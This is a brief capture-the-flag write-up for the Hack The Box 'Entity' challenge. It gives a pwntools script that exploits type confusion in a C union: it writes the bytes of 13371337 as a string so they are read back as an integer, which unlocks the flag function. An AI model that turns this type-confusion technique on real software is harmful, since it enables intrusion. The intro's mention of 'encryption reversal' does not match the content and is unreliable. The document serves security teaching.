HackTheBox Entity Writeup

Explore the basics of cybersecurity in the Entity Challenge on Hack The Box. This very-easy-level Challenge introduces encryption reversal and file handling concepts in a clear and accessible way, perfect for beginners.

from pwn import *

def get_process():
    try:
        host, port = sys.argv[1].split(':')
        return remote(host, int(port))
    except IndexError:
        print(f'Usage: python {sys.argv[0]} <ip:port>')
        exit(1)

def exploit():
    p = get_process()
    p.sendlineafter(b'>> ', b'T')
    p.sendlineafter(b'>> ', b'S')
    p.sendlineafter(b'>> ', p64(13371337))
    p.sendlineafter(b'>> ', b'C')
    success(f'Flag --> {p.recvline_contains(b"HTB").strip().decode()}')
    p.close()

if __name__ == "__main__":
    exploit()

Summary

The Entity Challenge on Hack The Box is a very-easy-level challenge that exploits type confusion via C unions. The set_field and get_field functions allow manipulation of data stored in a union, where the same memory location is accessed as either an integer or string. By writing the byte representation of 13371337 to the string field, it can later be read as an integer to trigger the get_flag function, revealing the flag. A Python script using Pwntools automates the exploitation to retrieve the flag.